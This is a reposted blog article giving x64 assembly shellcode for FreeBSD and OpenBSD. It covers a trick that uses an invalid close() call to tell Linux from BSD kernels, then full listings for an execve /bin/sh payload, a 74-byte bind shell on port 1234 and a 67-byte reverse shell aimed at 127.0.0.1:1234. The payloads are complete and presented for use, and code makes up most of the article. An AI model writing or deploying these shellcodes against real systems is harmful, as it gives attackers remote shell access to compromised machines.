神刀安全网

x64 Shellcodes for FreeBSD / OpenBSD

Introduction

These are mostly the same with codes that work on x64 Linux. The main difference is obviously system call numbers. I’ve also noticed that BSD tends to be less flexible with parameters, at least for some functions. I initially couldn’t get execve() to work with NULL argv and NULL envp.

Well, it turns out the BSD kernel doesn’t like NULL argv and simply returns EFAULT (Bad Address) so you need to supply it. Apart from this, they’re almost identical and you probably could detect the difference between BSD and Linux kernels before executing the appropriate code.

Detection between Linux and BSD

Since you might be wondering how to do that..

One thing we know is that system calls on BSD trash specific registers where as Linux saves them. That’s one way of checking..

But perhaps a more reliable method I saw was used by Z0MBiE/29a in some old shellcode of his. He attempts to close an invalid handle and depending on the error executes BSD or Linux code and this is probably the best approach.

Here is code from 2002 by Z0MBiE/29a

; detect if linux/freebsd   pusha   push    byte 6          ; FN: linux/freebsd: EAX=6=close()   pop     eax   xor     ebx, ebx   dec     ebx   push    ebx             ; PARAM: EBX=handle=-1   push    esp   int     80h             ; PARAMS: handle    pop     ecx   pop     ecx   or      eax, eax        ; linux: EAX=-9  freebsd: EAX=9=EBADF   popa   jl      short __linux   ; jl == jmp if linux:wink:

sys_close() with invalid handle returns number greater than zero on BSD but on Linux returns number less than zero.So for example, this works on x64 builds and we know already it works with x86.

; detection of bsd/linux     push    -1               ; invalid file descriptor     pop     rdi     push    6                ; sys_close     pop     rax     syscall     test    eax, eax         ; BSD returns rax>0     jl      linux            ; Linux returns rax<0     ; execute bsd code here

I’m not demonstrating the mixture of Linux and BSD shellcode here today but that might be useful for somebody else to know. What follows are the x64 shellcodes for openbsd/freebsd.

Execute /bin/sh

; 24 byte execute /bin/sh  ; x64 versions of freebsd + openbsd ; odzhan      bits 64  start64:     push    59     pop     rax              ; rax=sys_execve     cdq                      ; rdx=envp=0     mov     rbx, 0x68732f2f6e69622f ; "/bin//sh"     push    rdx              ; 0 terminator     push    rbx              ; "/bin//sh"     push    rsp     pop     rdi              ; rdi="/bin//sh", 0     ; ---------     push    rdx              ; NULL     push    rdi              ; "/bin//sh", 0     push    rsp     pop     rsi              ; rsi=argv     ; ---------     syscall

Bind Shell

; 74 byte bind shell ; x64 versions of freebsd + openbsd ; odzhan      bits 64      start64:     ; step 1, create a socket     ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);     push    97     pop     rax              ; rax=sys_socket     cdq                      ; rdx=IPPROTO_IP     push    1     pop     rsi              ; rsi=SOCK_STREAM     push    2     pop     rdi              ; rdi=AF_INET             syscall          xchg    eax, edi         ; edi=sockfd          ; step 2, bind to port 1234      ; bind(sockfd, {AF_INET,1234,INADDR_ANY}, 16)     mov     ebx, ~0xd2040200 & 0xFFFFFFFF     not     ebx     push    rbx     push    rsp             pop     rsi              ; rsi=&sa     mov     dl, 16           ; sizeof(sa)     mov     al, 104          ; rax=sys_bind     syscall          ; step 3, listen     ; listen(sockfd, 0);     push    rax     pop     rsi     mov     al, 106          ; rax=sys_listen     syscall          ; step 4, accept connections     ; accept(sockfd, 0, 0);     mov     al, 30           ; rax=sys_accept     cdq     syscall          xchg    eax, edi         ; edi=sockfd     push    2     pop     rsi          ; step 5, assign socket handle to stdin,stdout,stderr     ; dup2(sockfd, fileno); dup_loop64:     mov     al, 90           ; rax=sys_dup2     syscall     dec     esi     jns     dup_loop64       ; jump if not signed             ; step 6, execute /bin/sh     ; execve("/bin//sh", {"/bin//sh", NULL}, 0);     mov     rbx, 0x68732f2f6e69622f ; "/bin//sh"     push    rdx              ; 0 terminator     push    rbx              ; "/bin//sh"     push    rsp              ;     pop     rdi              ; rdi="/bin//sh", 0     ; ---------     push    rdx              ; NULL     push    rdi              ; "/bin//sh", 0     push    rsp              ; save ptr to argv     pop     rsi              ; rsi=&argv     ; ---------     mov     al, 59     syscall

Reverse Shell

; 67 byte reverse shell  ; x64 versions of freebsd + openbsd ; odzhan      bits 64      start64:     ; step 1, create a socket     ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);     push    97     pop     rax              ; rax=sys_socket     cdq                      ; rdx=IPPROTO_IP     push    1     pop     rsi              ; rsi=SOCK_STREAM     push    2     pop     rdi              ; rdi=AF_INET       syscall          xchg    eax, edi         ; edi=sockfd     xchg    eax, esi         ; esi=2          ; step 2, assign socket handle to stdin,stdout,stderr     ; dup2(sockfd, fileno); dup_loop64:     mov     al, 90           ; rax=sys_dup2     syscall     dec     esi     jns     dup_loop64       ; jump if not signed          ; step 3, connect to remote host     ; connect (sockfd, {AF_INET,1234,127.0.0.1}, 16);     mov     rcx, ~0x100007fd2040200     not     rcx     push    rcx     push    rsp     pop     rsi     mov     dl, 16           ; rdx=sizeof(sa)     mov     al, 98           ; rax=sys_connect     syscall              ; step 4, execute /bin/sh     ; execv("/bin//sh", {"/bin//sh",NULL}, 0);     cdq                      ; rdx=0     mov     rbx, 0x68732f2f6e69622f ; "/bin//sh"     push    rdx              ; zero terminator     push    rbx     push    rsp     pop     rdi     ; ---------     push    rdx     push    rdi     push    rsp     pop     rsi     ; ---------     mov     al, 59           ; rax=sys_execve     syscall

Sources

Check out obsd or fbsd here . The code in them is exact same and probably can still be optimized.

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » x64 Shellcodes for FreeBSD / OpenBSD

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮